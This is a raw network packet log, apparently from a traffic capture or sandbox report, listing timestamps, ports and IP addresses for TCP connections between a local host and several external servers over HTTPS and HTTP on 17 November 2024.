Nov 17, 2024 03:42:39.377753019 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.377799988 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.377836943 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.377856970 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.377913952 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.383330107 CET	443	49856	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:39.414159060 CET	443	49855	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:39.414211988 CET	443	49855	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:39.414274931 CET	49855	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:39.415482998 CET	49855	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:39.415501118 CET	443	49855	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:39.453142881 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.453212976 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.453255892 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.453290939 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.453334093 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.453356981 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.455343962 CET	49856	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:39.464960098 CET	443	49856	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:39.465006113 CET	443	49856	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:39.465056896 CET	49856	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:39.465070009 CET	443	49856	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:39.465146065 CET	443	49856	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:39.465204000 CET	49856	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:39.468316078 CET	49856	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:39.468327045 CET	443	49856	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:39.474440098 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.474504948 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.474562883 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.474592924 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.474627018 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.474651098 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.495251894 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.495306969 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.495340109 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.495354891 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.495412111 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.520420074 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.520431995 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.520442963 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.520493031 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.520524979 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.520534992 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.520535946 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.520548105 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.520558119 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.520575047 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.520622015 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.520637989 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.520658970 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.520668030 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.520708084 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.520790100 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.520828962 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.520857096 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.520870924 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.520886898 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.520898104 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.520908117 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.520909071 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.520919085 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.520944118 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.520984888 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.521245956 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.521259069 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.521269083 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.521336079 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.521337986 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.521349907 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.521359921 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.521363974 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.521408081 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.521615028 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.521624088 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.521632910 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.521662951 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.521696091 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.544035912 CET	443	49857	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.548623085 CET	49857	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.548648119 CET	443	49857	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.549649954 CET	49857	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.549664021 CET	443	49857	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.585776091 CET	443	49861	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.591509104 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.591572046 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.591664076 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.591686964 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.591717958 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.592765093 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.594758987 CET	49861	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.594784021 CET	443	49861	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.595520973 CET	49861	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.595526934 CET	443	49861	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.601669073 CET	443	49860	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.602174044 CET	49860	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.602201939 CET	443	49860	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.603060961 CET	49860	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.603068113 CET	443	49860	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.611550093 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.611603022 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.611645937 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.611654997 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.611701965 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.611733913 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.665673971 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.665724993 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.665771961 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.665791035 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.665836096 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.665860891 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.677913904 CET	443	49857	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.678045988 CET	443	49857	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.678121090 CET	49857	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.678396940 CET	49857	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.678396940 CET	49857	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.678407907 CET	443	49857	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.678417921 CET	443	49857	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.679442883 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.679486036 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.679502010 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.679512978 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.679541111 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.679585934 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.679594994 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.679595947 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.679606915 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.679646969 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.679678917 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.679678917 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.679743052 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.679788113 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.679799080 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.679815054 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.679825068 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.679836988 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.679836988 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.679888964 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.680008888 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.680074930 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.680078983 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.680088997 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.680099010 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.680116892 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.680150032 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.680155039 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.680166006 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.680176020 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.680188894 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.680198908 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.680203915 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.680224895 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.680243015 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.680720091 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.680731058 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.680741072 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.680752039 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.680762053 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.680772066 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.680783033 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.680826902 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.680990934 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.681001902 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.681010962 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.681044102 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.681065083 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.683336020 CET	49867	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.683381081 CET	443	49867	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.683449984 CET	49867	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.683630943 CET	49867	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.683636904 CET	443	49867	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.707672119 CET	443	49862	23.221.22.197	192.168.2.5
Nov 17, 2024 03:42:39.708031893 CET	49862	443	192.168.2.5	23.221.22.197
Nov 17, 2024 03:42:39.708044052 CET	443	49862	23.221.22.197	192.168.2.5
Nov 17, 2024 03:42:39.708515882 CET	443	49862	23.221.22.197	192.168.2.5
Nov 17, 2024 03:42:39.708837032 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.708908081 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.708941936 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.708962917 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.708997011 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.709018946 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.710288048 CET	49862	443	192.168.2.5	23.221.22.197
Nov 17, 2024 03:42:39.710417986 CET	443	49862	23.221.22.197	192.168.2.5
Nov 17, 2024 03:42:39.711358070 CET	443	49864	23.221.22.197	192.168.2.5
Nov 17, 2024 03:42:39.711612940 CET	49864	443	192.168.2.5	23.221.22.197
Nov 17, 2024 03:42:39.711625099 CET	443	49864	23.221.22.197	192.168.2.5
Nov 17, 2024 03:42:39.713052988 CET	443	49864	23.221.22.197	192.168.2.5
Nov 17, 2024 03:42:39.713123083 CET	49864	443	192.168.2.5	23.221.22.197
Nov 17, 2024 03:42:39.713602066 CET	49864	443	192.168.2.5	23.221.22.197
Nov 17, 2024 03:42:39.713676929 CET	443	49864	23.221.22.197	192.168.2.5
Nov 17, 2024 03:42:39.717675924 CET	443	49863	23.221.22.197	192.168.2.5
Nov 17, 2024 03:42:39.718067884 CET	49863	443	192.168.2.5	23.221.22.197
Nov 17, 2024 03:42:39.718087912 CET	443	49863	23.221.22.197	192.168.2.5
Nov 17, 2024 03:42:39.718539953 CET	443	49863	23.221.22.197	192.168.2.5
Nov 17, 2024 03:42:39.718946934 CET	49863	443	192.168.2.5	23.221.22.197
Nov 17, 2024 03:42:39.718990088 CET	443	49861	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.719036102 CET	443	49863	23.221.22.197	192.168.2.5
Nov 17, 2024 03:42:39.719137907 CET	443	49861	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.719273090 CET	49861	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.719600916 CET	49861	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.719600916 CET	49861	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.719614029 CET	443	49861	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.719624996 CET	443	49861	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.724138975 CET	49868	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.724194050 CET	443	49868	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.724543095 CET	49868	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.724734068 CET	49868	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.724764109 CET	443	49868	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.729193926 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.729240894 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.729285002 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.729296923 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.729358912 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.733581066 CET	443	49860	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.733716965 CET	443	49860	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.733824968 CET	49860	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.734077930 CET	49860	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.734092951 CET	443	49860	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.734136105 CET	49860	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.734143019 CET	443	49860	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.737719059 CET	49869	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.737751961 CET	443	49869	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.737864971 CET	49869	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.738594055 CET	49869	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.738605976 CET	443	49869	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.752973080 CET	49862	443	192.168.2.5	23.221.22.197
Nov 17, 2024 03:42:39.764683962 CET	49864	443	192.168.2.5	23.221.22.197
Nov 17, 2024 03:42:39.764698029 CET	443	49864	23.221.22.197	192.168.2.5
Nov 17, 2024 03:42:39.798489094 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.798538923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.798576117 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.798583984 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.798624992 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.798631907 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.798649073 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.798660040 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.798686028 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.798708916 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.798724890 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.798736095 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.798777103 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.798805952 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.798815966 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.798825979 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.798841953 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.798877001 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.798937082 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.798985004 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.798999071 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.799009085 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.799019098 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.799046040 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.799082994 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.799181938 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.799200058 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.799210072 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.799237013 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.799238920 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.799271107 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.804224968 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.804258108 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.804305077 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.804327965 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.804339886 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.804371119 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.811605930 CET	49864	443	192.168.2.5	23.221.22.197
Nov 17, 2024 03:42:39.825417042 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.825452089 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.825521946 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.825550079 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.825570107 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.825598001 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.838617086 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.838629007 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.838640928 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.838694096 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.838737965 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.838747978 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.838776112 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.838785887 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.838815928 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.838829041 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.838845968 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.838902950 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.838910103 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.838918924 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.838946104 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.838975906 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.838996887 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.839040041 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.839050055 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.839059114 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.839070082 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.839082956 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.839108944 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.839167118 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.839178085 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.839188099 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.839199066 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.839221954 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.839242935 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.839370966 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.839380980 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.839421988 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.839443922 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.839452982 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.839498043 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.846519947 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.846563101 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.846600056 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.846618891 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.846643925 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.846669912 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.856786966 CET	49863	443	192.168.2.5	23.221.22.197
Nov 17, 2024 03:42:39.918034077 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.918097019 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.918108940 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.918119907 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.918124914 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.918133020 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.918144941 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.918214083 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.918219090 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.918226004 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.918237925 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.918247938 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.918256044 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.918258905 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.918268919 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.918279886 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.918294907 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.918308973 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.918351889 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.918467999 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.918495893 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.918508053 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.918513060 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.918553114 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.921679974 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.921744108 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.921803951 CET	49835	443	192.168.2.5	40.118.171.167
